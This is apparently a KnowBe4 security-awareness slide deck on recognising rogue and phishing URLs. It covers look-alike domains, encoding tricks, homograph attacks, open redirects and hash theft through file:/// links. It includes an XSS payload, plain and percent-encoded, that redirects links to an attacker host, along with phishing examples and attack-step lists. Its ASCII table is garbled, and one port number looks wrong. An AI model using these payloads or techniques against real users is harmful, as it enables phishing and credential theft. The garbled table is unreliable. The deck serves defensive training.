



KnowBe4
Human error. Conquered.

Combatting Rogue URLs

Roger A. Grimes
Data-Driven Security Evangelist
rogerg@knowbe4.com



Roger A. Grimes

Data-Driven Defense Evangelist
KnowBe4, Inc.

Twitter: @RogerAGrimes

LinkedIn: <https://www.linkedin.com/in/rogeragrimes/>






About Roger

- 30 years plus in computer security
- Expertise in host and network security, IdM, crypto, PKI, APT, honeypot, cloud security
- Consultant to world's largest companies and militaries for decades
- Previous worked for Foundstone, McAfee, Microsoft
- Written 11 books and over 1,000 magazine articles
- *InfoWorld* and *CSO* weekly security columnist 2005 - 2019
- Frequently interviewed by magazines (e.g. Newsweek) and radio shows (e.g. NPR's All Things Considered)

Certification exams passed include:

- CPA
- CISSP
- CISM, CISA
- MCSE: Security, MCP, MVP
- CEH, TISCA, Security+, CHFI
- yada, yada


Roger's Books





KnowBe4, Inc.


- The world's most popular integrated Security Awareness Training and Simulated Phishing platform
- Based in Tampa Bay, Florida, founded in 2010
- CEO & employees are ex-antivirus, IT Security pros
- 200% growth year over year
- We help tens of thousands of organizations manage the problem of social engineering



Agenda

- Understanding URL Links
- Common URL Phishing Tricks
- Advanced URL Phishing Techniques
- How to Safely Examine URL Links

Customers Are Building a Modern Security Stack....



...That Starts With the Human

KnowBe4
Human Error. Compromised.

Agenda

- Understanding URL Links
- Common URL Phishing Tricks
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- How to Safely Examine URL Links


Understanding URLs

So, you think you understand everything about URL links?

Let's see...

Understanding URLs

Basics



Understanding URLs

URL Protocol Monikers

- http://
- https://
- ftp://
- data://
- file://
- mailto://
- telnet://
- uri://
- ssh://
- tel://
- javacript://
- tn3270://
- custom://
- whatever you want to make


https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web

Understanding URLs

URL Protocol Monikers

In Microsoft Windows, URL monikers are registered under **HKEY_CLASSES_ROOT**

- There are hundreds




https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web

Understanding URLs

Basics

DNS hostname

- Starts after double forward slashes
- Ends before first period

 `https://(www)example.com/subpath/subpath/resourcename`

- Can be “real” hostname or virtual
- May not be present in URL
 - If missing, default hostname will be tried

Understanding URLs

Basics

DNS domain name

- Starts after first period after hostname
- Ends at before first single slash

 `https://www{example.com}/subpath/subpath/resourceName`

 `https://www{SubDomainunderMainDomain.example.com}/subpath/subpath/resourceName`

Understanding URLs

Basics

DNS Top-Level Domain (TLD) name

- Starts forward from last period before first slash
- Ends before first slash

 `https://www.example(com)/subpath/subpath/resourceName`

- There are thousands of TLD domain names
- Ex: com, org, pub, gov, mil, biz, etc.

https://wiki.mozilla.org/TLD_List

Understanding URLs

Basics

DNS Top-Level Domain (TLD) name

- Most are 2-4 characters, but there are all sorts of lengths today
- Two-digit country code (e.g. au, ch, ru, etc.)
- Not all apps support all TLDs
- Some TLDs more risky than others
- TLD names are controlled by IANA
 - <http://data.iana.org/TLD/tlds-alpha-by-domain.txt>

CLUBMED
CM
CN
CO
COACH
CODES
COFFEE
COLLEGE
COLOGNE
COM
COMCAST
COMBANK
COMMUNITY
COMPANY
COMPARE
COMPUTER
COMSEC
CONDOS
CONSTRUCTION

<http://data.iana.org/TLD/tlds-alpha-by-domain.txt>

Understanding URLs

Basics

Resource path name

- Starts after first single slash
- Ends at last slash


 `https://www.example.com{subpath/subpath}resourcename`

Understanding URLs

Basics

Resource name


- Starts after last slash
- Refers to file name of object being called
 - File, graphic, web page, etc.
 - Optional, and may or may not include extension
 - Default doc (index.htm[l]) will be tried if missing

 `https://www.example.com/subpath/subpath{resourcename}`

Understanding URLs

Basics

- URLs can force particular TCP ports to be used instead of defaults
- Follows colon



Understanding URLs

Basics

- Anything after the first **?** is a **variable** being passed back to the host to be evaluated
- Often used to track users

Everything after ? is a variable



 <https://www.example.com/s3/1234567/my-survey?variable=value>

 https://www.secureworldexpo.com/industry-news/?utm_campaign=Industry%20News&utm_source=hs_email&utm_medium=email&utm_content=87264981&hsenc=p2ANqtz-LTdv_iH3dN2DM6

<https://help.surveygizmo.com/help/url-variables>

Understanding URLs

Basics

- Most important URL analysis skill you can know or teach is figure out what the true DNS domain is



Understanding URLs

Basics

- Most important URL analysis skill you can know or teach is there is big difference between:

DNS domain
⊕ {example.com.domain.com}

DNS domain
⊕ {example.com}/domain.com

DNS domain
🔍 {example.com.domain}/com

Understanding URLs

Basics

- Some browsers will **highlight** the real DNS hostname and domain to help with review

 Bank of America Corporation [US] | <https://secure.bankofamerica.com/login/sign-in/signOnV2Screen.go>

 secure.bankofamerica.com/auth/enroll/enroll-entry/

 https://devopsnw.com/login.microsoftonline.com?userid=roger_grimes@infoworld.com

Agenda

- Understanding URL Links
- Common URL Phishing Tricks
- Advanced URL Phishing Techniques
- How to Safely Examine URL Links

Common URL Phishing Tricks

Spotting Rogue URLs – Look-Alike Domains

Subdomain tricks

 www.paypal.com.bank/logon?user=rogerg@gmail.com

domain
is
paypal.com.bank
Not
paypal.com

Common URL Phishing Tricks

Spotting Rogue URLs – Bait & Switch Domains

Subdomain tricks

 <https://ee.microsoft.co.login-update-dec20.info>

domain
is
microsoft.co.login-update-dec20.info
not
microsoft.co
or
Microsoft.com

Common URL Phishing Tricks

Spotting Rogue URLs – Look-Alike Domains




parent
domain
is
doc.com

Common URL Phishing Tricks

Spotting Rogue URLs – Look-Alike Domains

no
.com at all



The screenshot shows a phishing email from Bank of America. The header includes the Bank of America logo and the text "Bank of America Customer Service". The body of the email contains several paragraphs of text, including a warning about suspended online access, a link to activate the account, and a warning about account restrictions. The link is highlighted with a red box and the text "no .com at all" is written next to it. The footer includes the Bank of America logo, address, and contact information.

Bank of America

Bank of America Customer Service

This message is to confirm that your online access have been suspended due to billing error.

We will review the activity on your account with you and upon verification, we will remove any restrictions placed on your account

We hope you enjoy the ease and convenience you'll get with the ability to manage your accounts from almost anywhere you are.

To access and activate your account, simply click the link below.

<https://www.bankofamerica/activation>


If your account information is not confirmed and verified within a certain period of time then your ability to access your account would become restricted.

Thank you
Bank of America Account Management Department.

Bank of America Email, 9th Floor NC1-028-09-02, 150 N College St., Charlotte, NC 28255. Please do NOT send any physical mail to this address, especially mail containing sensitive information.


Need to get in touch? Simply visit our [Contact Us](#) page for multiple ways to connect. Please do not reply to this email, as email replies are not monitored.

Read more about [Privacy & Security](#).

Bank of America, N.A. Member FDIC. [Equal Housing Lender](#) 
©2016 Bank of America Corporation. All rights reserved.


Common URL Phishing Tricks

Spotting Rogue URLs – Look-Alike Domains




Common URL Phishing Tricks

Spotting Rogue URLs – Look-Alike Domains



Common URL Phishing Tricks

Spotting Rogue URLs – Look-Alike Domains



Original image taken from:

<https://umbrella.cisco.com/blog/2015/02/11/paypal-phishing-sophistication-growing/>

Common URL Phishing Tricks

Spotting Rogue URLs – Look-Alike Domains



Image from: <https://blogs.msdn.microsoft.com/tzink/2016/11/23/where-email-authentication-is-not-so-great-at-stopping-phishing-random-it-phishing-scams/>

Common URL Phishing Tricks


Spotting Disconnected Email Addresses

Bank of America Alert: Unlock Your Account Important Message From Bank Of America®


 Bank of America <BankofAmerica@customerloyalty.accounts.com>(Bank of America via shakawaaye.com)
To: Roger Grimes

Brand/URL mismatches

Update Your Powered By office 365

 Office 365 <no-reply1@soft.com>(Office 365 via ds01099.snspreview7.com.au)
To: Roger Grimes

Ticket #: 5711310

 Microsoftonline <v5pz@onmicrosoft.com>
To: roger_grimes@infoworld.com

 If there are problems with how this message is displayed, click here to view it in a web browser.

 Microsoft

Common URL Phishing Tricks

Spotting Rogue URLs – Domain Mismatches

Microsoft Office-365

Hello roger_grimes@infoworld.com
Sorry, due to a security issue with your roger_grimes@infoworld.com subscription, your email has been suspended.
If you'd like to reactivate your subscription, please click on the link below.

https://devopsnw.com/login.microsoftonline.com?userid=roger_grimes@infoworld.com

This action

Thanks,
The Microsoft Office

This message was sent from the email address is not monitored. Do not reply to this message.
Privacy | Legal Notices

We hope to continue serving you.
Microsoft Corporation
One MSN Way, Redmond, WA 98052

We respects your privacy. Please read our online [Privacy Statement](#).
This Message was sent from an unmonitored e-mail address. Please do not reply this message.

Common URL Phishing Tricks

Spotting Rogue URLs – Domain Mismatches

Coronavirus infected 22 people in your state

HS Human Services .gov <Despina.Orrantia6731610@gmx.com>

Click here to download pictures. To help protect your privacy, Outlook prevented automatic download of some pictures in this message.

ATTENTION: This email came from an external source. Do not open attachments or click on links from unknown senders or unexpected emails.

Right-click or tap

Important news


Due to the recent news we want to inform that <https://www.le-blog-qui-ssure.com/>
Application that can show the Coronavirus [screenshot](#)
This software is absolutely free in Urdu. [Click or tap to follow link.](#)
You can find the software by this [link](#).

U.S. Department of Health & Human Services 2020

Required Java, you can download it from Official site

Common URL Phishing Tricks

Spotting Rogue URLs – Slightly misspelled



Common URL Phishing Tricks

Strange Origination Domain

Be wary of any large company not using their own domain name

Examples

- Hotmail.com
- Gmail.com
- Onmicrosoftonline.com

Your Shipping Documents.



MAERSK <info@onlinealxex.com.pl>(MAERSK via idg.onmicrosoft.com)
To roger_grimes@infoworld.com


URL Shortening

URL Shortening

- URL shortening services convert longer URLs into “shortcut” URLs
 - Bit.ly, goo.gl, t.co, tinyurl.com
- Initially intended to just to help people type them in more easily or to save space in Twitter (140 char limitation orig)
- But often used maliciously to hide intent or redirection

URL Shortening

URL Shorteners Used by Phishers



Graphic from: <https://blog.cloudmark.com/2014/08/06/how-spammers-are-abusing-twitters-t-co-url-shortener/>

https://en.wikipedia.org/wiki/URL_shortening#Notable_URL_shortening_services

URL Shortening

Convert

- Convert short UR
- Example: [https://](https://goo.gl/LHCS9W)

<https://www...>



RESULTS FOR [HTTPS://GOO.GL/LHCS9W](https://goo.gl/LHCS9W)

| | |
|------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Title: | Verify your Android phone's number - Android Help |
| Short URL: | https://goo.gl/LHCS9W |
| Redirects: | 2 (show details) |
| Long URL: | https://support.google.com/android/answer/7521240?p=verify_number&visit_id=637165074473761392-305179967&nd=1 |

10:45 PM
Google is verifying phone number for your device. IFYD:9N2. Learn more.
<https://goo.gl/LHCS9W>

Extra Information


EXTRA INFORMATION

| | |
|-----------------------|------------------------------------------------------------------------------------------------------------------------------------------------|
| Meta Description: | When you set up a Google Account, |
| Meta Keywords: | No Keywords |
| Content-Type: | text/html; charset=UTF-8 |
| Canonical URL: | https://support.google.com/android/answer/7521240?hl=en |
| Google Safe Browsing: |  - This link appears to be safe! Advisory provided by Google. |

URL Shortening

Convert

- Convert short URLs to “exploded” URLs
- Example: <https://www.expandurl.net/expand>



The screenshot shows the ExpandURL website interface. At the top, there is a navigation menu with links for "EXPAND URL", "SHORTEN URL", "TERMS OF USE", "PRIVACY POLICY", and "CONTACT US". Below the navigation is a search bar containing the URL "https://goo.gl/vn0bn". A blue button labeled "EXPAND URL" is positioned below the search bar. The results section is titled "RESULTS FOR HTTPS://BITLY/2SOMXYD" and contains two columns of information. The left column features a "Website Thumbnail Generator" section with a "Thumbnail queued" message and the "shrink.it" logo. The right column displays the following details:

| | |
|------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Short URL: | https://bit.ly/2SomaE0 |
| Redirects: | 1 (show details) |
| Long URL: | https://www.malshare.com/sampleshare.php?action=getfile&hash=b461841c2855940922a11ad911fbcce |

Common URL Phishing Tricks

URL Encoding

URLs can be represented using IP addresses and special characters to obfuscate real domain name

Example

IP address

- <http://172.217.2.196/>
- It's www.google.com

<https://en.wikipedia.org/wiki/Percent-encoding>

<https://www.freeformatter.com/url-encoder.html>

Common URL Phishing Tricks

URL Encoding

URLs can be represented using IP addresses and special characters to obfuscate real domain name

Example

Percent encoding

- <https://%77%77%77.%6B%6E%6F%77%62%654.%63%6F%6D>
- www.knowbe4.com

<https://en.wikipedia.org/wiki/Percent-encoding>

<https://www.freeformatter.com/url-encoder.html>

Basic URL Phishing Techniques

Overly Long URLs

Phisher uses overly long URL to make it more difficult for user hovering over link to see it or even want to see it all

Ex: <https://innocentwebsite.com/irs.gov/logon/fasfjdsafalj-divafasfasdfdvjeffafsfawqeavpompfiif5asmfasfpeagasasdpjsafasfasdfiawfasfsadfspadf asfsadfasdvasdfasdfsdljiottbpoaovmas6sppaasdgatapapdgaadatkaopjwkgjapbabaoe eadafdafddaasff/afasdfaetpriagagasdg1fagagasddsafdsfdsafdsaadfacsvjdsavjastkjei igaadagadgetimppbhesstdfasdaetladasvaass1dafadfkfj89sadfajsgagapomfieeirmagab aetesragaddlapddlteya'/jpfafdasfoifuafdterqpbfgfdghfad/ght.php>

Most/many portable devices would just show the beginning portion or people would just not want to read it all and give up

<https://www.bleepingcomputer.com/news/security/weird-phishing-campaign-uses-links-with-almost-1-000-characters/>

<https://nakedsecurity.sophos.com/2019/02/14/whats-behind-this-1000-character-phishing-url/>

Basic URL Phishing Techniques

Executable Code in URL

Cross-Site Scripting

- Attack method where HTML code meant to be “display only” or executed on server gets manipulated into executing code on client instead

```
<html>
...
<script type='application/javascript'>alert('Hello World');</script>
...
</html>
```



```
<html>
...
<script type='application/javascript'>[MaliciousJavaScriptorRedirect];</script>
...
</html>
```

https://en.wikipedia.org/wiki/Cross-site_scripting

<https://tutorial.eyehunts.com/js/javascript-hello-world-alert-function-print-example/>

Basic URL Phishing Techniques

Executable Code in URL

Cross-Site Scripting

- Attack method where HTML code meant to be “display only” or executed on server gets manipulated into executing code on client instead

Some Common XSS Attack objectives:

- Get client data
- Get client’s session cookie (steal user’s logon session)
- Execute code on client
- Use client’s permissions to run server commands that reveals server data

https://en.wikipedia.org/wiki/Cross-site_scripting

<https://tutorial.eyehunts.com/js/javascript-hello-world-alert-function-print-example/>

Basic URL Phishing Techniques

Executable Code in URL

Cross-Site Scripting

Real World example

1. I was on Foundstone penetration testing team testing world's largest cable company's new cable box
2. Found out cable box's log file saved all HTML data and was vulnerable to XSS
3. Sent "attack" to cable box that pushed a particular command-line string to whoever opened log
4. Call cable box tech support and asked them to view our logs to see if were being "attacked"
5. When they opened our log files, our XSS attack executed on their machine, send us their Linux passwd and shadow password files to us using FTP
6. We got their corporate super admin logon credentials

Basic URL Phishing Techniques

Executable Code in URL

Cross-Site Scripting (XSS) in URL

Two Basic Methods:

- Get code in URL to execute due to browser or app bug
- or
- Redirection to a malicious web site that attempts to execute code or download something to your computer

<https://www.thegeekstuff.com/2012/02/xss-attack-examples/>

<https://www.paladion.net/blogs/bypass-xss-filters-using-data-uris>

<https://www.gnucitizen.org/blog/self-contained-xss-attacks/>

XSS cheatsheet: <https://owasp.org/www-community/xss-filter-evasion-cheatsheet>

Basic URL Phishing Techniques

Executable Code in URL

Cross-Site Scripting (XSS) in URL

Attacker Methodology:

1. Find website or app vulnerable to XSS (usually by sending similar “alert” script)
2. Decide what they can or want to do with it
Payload/Objective
3. Create malicious URL link which involves XSS issue and payload
4. Send to victim
5. Victim clicks on link

<https://www.thegeekstuff.com/2012/02/xss-attack-examples/>

<https://www.paladion.net/blogs/bypass-xss-filters-using-data-uris>

<https://www.gnucitizen.org/blog/self-contained-xss-attacks/>

XSS cheatsheet: <https://owasp.org/www-community/xss-filter-evasion-cheatsheet>

Basic URL Phishing Techniques

Executable Code in URL

Cross-Site Scripting (XSS) in URL

EX: `http://example.com/index.php?name=<script>>window.onload = function() {var link=document.getElementsByTagName("a");link.href="http://redirected.examples.com/";}</script>`

Most of the time it's encoded, and appears as an overly long, escaped URL

`https://example.com/index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e`

<https://www.thegeekstuff.com/2012/02/xss-attack-examples/>

<https://www.paladion.net/blogs/bypass-xss-filters-using-data-uris>

<https://www.gnucitizen.org/blog/self-contained-xss-attacks/>

XSS cheatsheet: <https://owasp.org/www-community/xss-filter-evasion-cheatsheet>

Agenda


- Understanding URL Links
- Common URL Phishing Tricks
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- How to Safely Examine URL Links

Advanced URL Phishing Techniques

File Attachment is an Image

- File attachment image, not file attachment
- Image points to URL link

Fake file attachments which are really images




https://www.theregister.co.uk/2017/01/16/phishing_attack_probes_sent_mail/

<https://duo.com/decipher/the-latest-phishing-attacks-target-gmail-microsoft-word-and-android-apps>

Advanced URL Phishing Techniques

Digital Certificates

- TLS digital certificates allow HTTPS connections between client and a web site/service
- A trusted, valid cert validates hostname and URL domain



Advanced URL Phishing Techniques

Rogue Digital Certificates

- Does not mean site is not malicious
- Does not mean you can trust site
- Most phishing websites have valid, “trusted” certificates
 - Mostly because of “Let’s Encrypt” certification authority (CA)


<https://nakedsecurity.sophos.com/2020/03/02/lets-encrypt-issues-one-billionth-free-certificate/>

https://docs.apwg.org/reports/apwg_trends_report_q4_2019.pdf

Advanced URL Phishing Techniques

Rogue Digital Certificates

- Does not m
- Does not m
- Most phishi
- certificates
 - Mostly b
 - authority



ed”
fication

<https://nakedsecurity.sophos.com/2020/03/02/lets-encrypt-issues-one-billionth-free-certificate/>

https://docs.apwg.org/reports/apwg_trends_report_q4_2019.pdf

Advanced URL Phishing Techniques

EV Digital Certificates

Extended Validation Certs

- CAs must do far more extensive research before issuing
- Expensive
- I've yet to see a phishing site use one (although it's not impossible to imagine happening)
- When EV cert is detected some browsers highlight URL in green, but Chrome & Firefox no longer does



<https://shop.globalsign.com/en/ssl/ev-ssl>

https://en.wikipedia.org/wiki/Extended_Validation_Certificate

https://www.theregister.co.uk/2019/08/12/google_chrome_extended_validation_certificates/

Advanced URL Phishing Techniques

Character Sets

- All devices/OS/apps use a “character set” to define what characters and languages can be used to display and print characters
- The first computers used the **ASCII character set**
 - Only supported 128 English characters (control characters plus characters on your keyboard)
 - 128-characters is a bit limiting even for English speakers

Advanced URL Phishing Techniques

Character Set

- All devices to define what character set to display and print
- The first character set (ASCII)
 - Only supports 128-character set
 - 128-character set (English)

| Hex | Dec | Char | Hex | Dec | Char | Hex | Dec | Char | Hex | Dec | Char | |
|------|-----|------|------------------------|------|------|-------|------|------|-----|------|------|-----|
| 0x00 | 0 | NUL | null | 0x20 | 32 | Space | 0x40 | 64 | È | 0x60 | 96 | ˆ |
| 0x01 | 1 | SOH | Start of heading | 0x21 | 33 | ! | 0x41 | 65 | Á | 0x61 | 97 | ā |
| 0x02 | 2 | STX | Start of text | 0x22 | 34 | " | 0x42 | 66 | Â | 0x62 | 98 | â |
| 0x03 | 3 | ETX | End of text | 0x23 | 35 | # | 0x43 | 67 | Ã | 0x63 | 99 | ã |
| 0x04 | 4 | EOT | End of transmission | 0x24 | 36 | \$ | 0x44 | 68 | Ä | 0x64 | 100 | ä |
| 0x05 | 5 | ENQ | Enquiry | 0x25 | 37 | % | 0x45 | 69 | Å | 0x65 | 101 | å |
| 0x06 | 6 | ACK | Acknowledge | 0x26 | 38 | & | 0x46 | 70 | Æ | 0x66 | 102 | æ |
| 0x07 | 7 | BELL | Bell | 0x27 | 39 | ' | 0x47 | 71 | Ç | 0x67 | 103 | ç |
| 0x08 | 8 | BS | Backspace | 0x28 | 40 | (| 0x48 | 72 | È | 0x68 | 104 | è |
| 0x09 | 9 | TAB | Horizontal tab | 0x29 | 41 |) | 0x49 | 73 | É | 0x69 | 105 | é |
| 0x0A | 10 | LF | New line | 0x2A | 42 | * | 0x4A | 74 | Ê | 0x6A | 106 | ê |
| 0x0B | 11 | VT | Vertical tab | 0x2B | 43 | + | 0x4B | 75 | Ë | 0x6B | 107 | ë |
| 0x0C | 12 | FF | Form Feed | 0x2C | 44 | , | 0x4C | 76 | Ì | 0x6C | 108 | ì |
| 0x0D | 13 | CR | Carriage return | 0x2D | 45 | - | 0x4D | 77 | Í | 0x6D | 109 | í |
| 0x0E | 14 | SO | Shift out | 0x2E | 46 | . | 0x4E | 78 | Î | 0x6E | 110 | î |
| 0x0F | 15 | SI | Shift in | 0x2F | 47 | / | 0x4F | 79 | Ï | 0x6F | 111 | ï |
| 0x10 | 16 | DLE | Data link escape | 0x30 | 48 | 0 | 0x50 | 80 | Ð | 0x70 | 112 | ð |
| 0x11 | 17 | DC1 | Device control 1 | 0x31 | 49 | 1 | 0x51 | 81 | Ñ | 0x71 | 113 | ñ |
| 0x12 | 18 | DC2 | Device control 2 | 0x32 | 50 | 2 | 0x52 | 82 | Ò | 0x72 | 114 | ò |
| 0x13 | 19 | DC3 | Device control 3 | 0x33 | 51 | 3 | 0x53 | 83 | Ó | 0x73 | 115 | ó |
| 0x14 | 20 | DC4 | Device control 4 | 0x34 | 52 | 4 | 0x54 | 84 | Ô | 0x74 | 116 | ô |
| 0x15 | 21 | NAK | Negative ack | 0x35 | 53 | 5 | 0x55 | 85 | Õ | 0x75 | 117 | õ |
| 0x16 | 22 | SYN | Synchronous idle | 0x36 | 54 | 6 | 0x56 | 86 | Ö | 0x76 | 118 | ö |
| 0x17 | 23 | ETB | End transmission block | 0x37 | 55 | 7 | 0x57 | 87 | × | 0x77 | 119 | × |
| 0x18 | 24 | CAN | Cancel | 0x38 | 56 | 8 | 0x58 | 88 | Ø | 0x78 | 120 | ø |
| 0x19 | 25 | EM | End of medium | 0x39 | 57 | 9 | 0x59 | 89 | Ù | 0x79 | 121 | ù |
| 0x1A | 26 | SUB | Substitute | 0x3A | 58 | : | 0x5A | 90 | Ú | 0x7A | 122 | ú |
| 0x1B | 27 | FSC | Escape | 0x3B | 59 | ; | 0x5B | 91 | Û | 0x7B | 123 | û |
| 0x1C | 28 | FS | File separator | 0x3C | 60 | < | 0x5C | 92 | Ü | 0x7C | 124 | ü |
| 0x1D | 29 | GS | Group separator | 0x3D | 61 | = | 0x5D | 93 | Ý | 0x7D | 125 | ý |
| 0x1E | 30 | RS | Record separator | 0x3E | 62 | > | 0x5E | 94 | ÿ | 0x7E | 126 | ÿ |
| 0x1F | 31 | US | Unit separator | 0x3F | 63 | ? | 0x5F | 95 | ÿ | 0x7F | 127 | DEL |

to define what character set to display and print

the first character set (ASCII)

Only supports 128-character set

128-character set (English)

Image from <https://brianaspinall.com/math-cs-cracking-the-secret-code/>

Advanced URL Phishing Techniques

Character Sets – ANSI & Unicode

- Early on, Microsoft Windows used what is known as the **American National Standards Institute (ANSI)** character-set
 - 218 characters
 - Wasn't built to handle more complex languages like Cyrillic and Chinese.
- Starting with Microsoft Windows 2000, Microsoft started to use **Unicode**
 - Unicode supports every known language, active and ancient, and it can represent millions of different chars

Advanced URL Phishing Techniques

Character Sets – UTF-8 & Punycode

- Since 2009, the World Wide Web uses a character-set known as **UTF-8 (Unicode Transformation Format 8-bit)**
 - It's a subset of over 1 million Unicode characters.
- Subset of UTF-8 that many browsers to display hostnames is known as **punycode**
- When you type in a character into your browser, behind the scenes the computer is dealing with the typed in character as its Unicode number. It's the way the web and web applications work behind the scenes

<https://en.wikipedia.org/wiki/Punycode>

Note: You may also see Internationalized Domain Names [IDN] (https://en.wikipedia.org/wiki/Internationalized_domain_name), which is a method for converting and displaying domain names between languages using Unicode and Punycode.

Advanced URL Phishing Techniques

Homograph Attacks

- **Problem:** Different Unicode/punycode characters look like each other
 - For example, the Unicode Latin "a" (U+0061 hex) and Cyrillic "a" (U+0430 hex) may look the same in a browser URL but are different characters represented in different languages
- This allows phishers to create new domain names that look just like other domain names, but are different

https://en.wikipedia.org/wiki/IDN_homograph_attack

Note: You may also see Internationalized Domain Names [IDN] (https://en.wikipedia.org/wiki/Internationalized_domain_name), which is a method for converting and displaying domain names between languages using Unicode and Punycode.

Advanced URL Phishing Techniques

Homograph Attacks

<https://www.xudongz.com/blog/2017/idn-phishing/>



https://en.wikipedia.org/wiki/IDN_homograph_attack

<https://www.theguardian.com/technology/2017/apr/19/phishing-url-trick-hackers>.

<https://thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html>

<https://www.wordfence.com/blog/2017/04/chrome-firefox-unicode-phishing/>

https://en.wikipedia.org/wiki/IDN_homograph_attack

<https://blog.knowbe4.com/homographic-domains-make-phishing-scams-easier>

Note: It's even possible to use Punycode hacking tricks with SMS:

<https://www.zscaler.com/blogs/research/smishing-punycode>.

Advanced URL Phishing Techniques

Homograph Attacks

<https://thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html>



Not English word epic, but a Cyrillic set of characters that look like epic

When clicked on converts to this



<https://thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html>

<https://www.epic.com/>

Advanced URL Phishing Techniques

Homograph Attacks

<https://thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html>

Display text said this

There is another [proof-of-concept website c](#)

When I hovered over the link it said this...

`https://www.xn--e1awd7f.com/`

When I clicked on it, it said this



When I copy/pasted it it said this

```
*Untitled - Notepad
File Edit Format View Hel
https://www.epic.com/
```


<https://thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html>

<https://www.epic.com/>

Advanced URL Phishing Techniques

Homograph Attacks

Some browsers will warn you if they detect a homographic attack



https://en.wikipedia.org/wiki/IDN_homograph_attack

<https://www.theguardian.com/technology/2017/apr/19/phishing-url-trick-hackers>.

<https://thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html>

<https://www.wordfence.com/blog/2017/04/chrome-firefox-unicode-phishing/>

https://en.wikipedia.org/wiki/IDN_homograph_attack

<https://blog.knowbe4.com/homographic-domains-make-phishing-scams-easier>

Note: It's even possible to use Punycode hacking tricks with SMS:

<https://www.zscaler.com/blogs/research/smishing-punycode>.

Advanced URL Phishing Techniques

Open Redirect URL Attacks

Some URLs point to domains and services which allow automatic redirection to other URLs

Example: `http://t-info.mail.adobe.com/r/?id=hc43f43t4a,afd67070,affc7349&p1=knowbe4.com/r/?id=159593f159593159593,hde43e13b13,ecdfafef,ee5cfa06`

Anything after **&p1** variable could be used in redirect

Source: https://www.reddit.com/r/sysadmin/comments/d9ndnf/heres_a_phishing_url_to_give_you_nightmares/

<https://www.nextofwindows.com/the-phishing-url-that-tricks-a-tech-savvy-user>

https://www.reddit.com/r/sysadmin/comments/d9ndnf/heres_a_phishing_url_to_give_you_nightmares/

Adobe fixed vulnerability

Advanced URL Phishing Techniques

Open Redirect URL Attacks

Some URLs point to domains and services which allow automatic redirection to other URLs

Examples: <https://www.google.ru/#btnl&q=%3Ca%3EhOJoXatrCPy%3C/a%3E>
<https://www.google.ru/#btnl&q=%3Ca%3EyEg5xg1736ilgQVF%3C/a%3E>

Anything after **#btnl&q** variable could be used in redirect

Source: <https://www.microsoft.com/security/blog/2019/12/11/the-quiet-evolution-of-phishing/>

Google fixed vulnerability

Advanced URL Phishing Techniques

Malicious 404 Error Web pages

1. Hacker takes over some other innocent web server
2. They modify the web server's 404 web page to be a credential stealing logon page
3. Victim gets an email with a URL link pointing to a non-existent page or object on web site
4. 404 error pages serves up phish page


Ex: <https://innocentwebserver.com/bankofamerica.com/login>

Source: <https://www.microsoft.com/security/blog/2019/12/11/the-quiet-evolution-of-phishing/>

Advanced URL Phishing Techniques

Malicious 404 Error Web pages

Instead of something that looks like this



They get something that looks like this



URL Password Hash Theft

Password Hash Capture Steps

1. Hacker creates/has a malicious web server on Internet
2. Creates a malicious URL address that links to object on web server
3. Sends link to victim (e.g., using email, etc.)
4. Victim clicks on URL link
5. Email program/browser attempts to retrieve object
6. Server requires authenticated logon
7. Email program/browser attempts authenticated logon
8. Sends remote logon attempt from which attacker can derive password hash

Another SMB leak, this time using Adobe Acrobat:

<https://sensorstechforum.com/adobe-cve-2019-7089-second-patch/>

Kevin's demo: <https://blog.knowbe4.com/kevin-mitnick-demos-password-hack-no-link-click-or-attachments-necessary>

URL Password Hash Theft Demo

URL Click sends Your Password Hash

Kevin Mitnick demo

- Uses **file:///** trick
- <https://blog.knowbe4.com/kevin-mitnick-demos-password-hack-no-link-click-or-attachments-necessary>
- **I Can Get and Hack Your Password Hashes From Email**
 - <https://www.csoonline.com/article/3333916/windows-security/i-can-get-and-crack-your-password-hashes-from-email.html>

I Can Get and Hack Your Password Hashes From Email

<https://www.csoonline.com/article/3333916/windows-security/i-can-get-and-crack-your-password-hashes-from-email.html>

URL Password Hash Theft Demo

Kevin Mitnick Demo - Steps

1. Sets up Responder tool (<https://github.com/SpiderLabs/Responder>)
2. Creates and sends malicious email, includes UNC link (file:///) pointing to object on Responder server
3. Victim opens email in O365
4. Email program/browser attempts to retrieve object
5. Responder captures NT challenge response
6. Attacker generates and cracks NT hash to obtain plaintext password

Kevin's demo: <https://blog.knowbe4.com/kevin-mitnick-demos-password-hack-no-link-click-or-attachments-necessary>

<https://github.com/SpiderLabs/Responder>

Another SMB leak, this time using Adobe Acrobat:

<https://sensorstechforum.com/adobe-cve-2019-7089-second-patch/>

Another SMB leak announced 4/2/20 around Zoom:

<https://www.bleepingcomputer.com/news/security/zoom-lets-attackers-steal-windows-credentials-run-programs-via-unc-links/>

URL Password Hash Theft

Defenses

- Require passwords with enough entropy to withstand cracking attempts
- Block unauthorized outbound authentication logons at perimeter and/or host
 - Port blocking: NetBIOS: UDP 137 & 138, TCP 139 & 445; LLMNR: UDP & TCP 5535; LDAP: UDP/TCP 389 & 636; SQL: TCP 1433; TCP 21; SMTP: TCP 25 & 587; POP: TCP 110 & 995; IMAP: TCP 143 & 993
 - Can you block on portable devices wherever the connect?
- Filter out inbound [file:///](#) links
- Optional Microsoft patch and registry configuration settings:
